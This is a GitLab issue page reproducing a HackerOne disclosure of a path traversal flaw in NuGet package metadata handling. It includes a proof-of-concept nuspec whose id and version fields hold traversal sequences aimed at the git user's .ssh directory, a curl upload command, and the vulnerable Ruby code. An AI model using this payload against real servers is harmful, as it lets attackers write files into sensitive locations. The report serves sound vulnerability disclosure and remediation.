Skip to content

Path traversal in nuget metadata extraction allowing packages to be saved anywhere

HackerOne report #835427 by vakzz on 2020-03-31, assigned to @ankelly:

Report | Attachments | How To Reproduce

Report

Summary

After a nuget package is uploaded via the api, the UpdatePackageFromMetadataService is run to update the package and file names based on the metadata in the nuspec file which is extracted from the package zip. Neither the extracted id or version is checked for path traversal, allowing the package.nupkg to be moved anywhere that the git user has access.

Steps to reproduce
  1. create a project

  2. create a spec.nuspec file with the following contents

<?xml version="1.0"?>
<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd">
<metadata>
<id>../../../../../../../../../../../../../</id>
<version>./var/opt/gitlab/.ssh/aaa</version>
</metadata>
</package>
```

  1. zip it up and upload it via the api

zip package.zip spec.nuspec
curl -XPUT -v 'http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/112/packages/nuget/' -F package=[@]package.zip
```

  1. after the metadata service has run you can see that the file has been moved ls -asl /var/opt/gitlab/.ssh/

Screen_Shot_2020-04-01_at_2.07.29_am.png

Impact

I'm still unsure of the complete impact of this, but there are a few thing to note:

  • the file will always have the .nupkg extension (can't see a way around this)
  • any parent directories are also created
  • the package has to be a valid zip file, but using something like https://truepolyglot.hackade.org/ arbitrary data can be appended to the start.

Knowing the above it might be possible to escalate this further, but requires more investigation.

Examples

nuget package used above: package.zip
package that is a polyglot with a shell script: hello.zip

What is the current bug behavior?

The package file_name is updated with values directly from the metadata without any checks:

      package_file.update!(  
            file_name: package_filename,  
            file: package_file.file  
          )

     def package_name  
        metadata[:package_name]  
      end

      def package_version  
        metadata[:package_version]  
      end

      def metadata  
        strong_memoize(:metadata) do  
          ::Packages::Nuget::MetadataExtractionService.new(package_file.id).execute  
        end  
      end

      def package_filename  
        &#34;#{package_name.downcase}.#{package_version.downcase}.nupkg&#34;  
      end  
What is the expected correct behavior?

The package_filename should be validated

Output of checks
Results of GitLab environment info
System information  
System:		Ubuntu 18.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.6.5p114  
Gem Version:	2.7.10  
Bundler Version:1.17.3  
Rake Version:	12.3.3  
Redis Version:	5.0.7  
Git Version:	2.24.1  
Sidekiq Version:5.2.7  
Go Version:	unknown

GitLab information  
Version:	12.9.1-ee  
Revision:	0ebcf602332  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	10.12  
URL:		http://gitlab-vm.local  
HTTP Clone URL:	http://gitlab-vm.local/some-group/some-project.git  
SSH Clone URL:	git@gitlab-vm.local:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	12.0.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

An attacker can write controlled data with the extension .nupkg to anywhere the git user has access

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: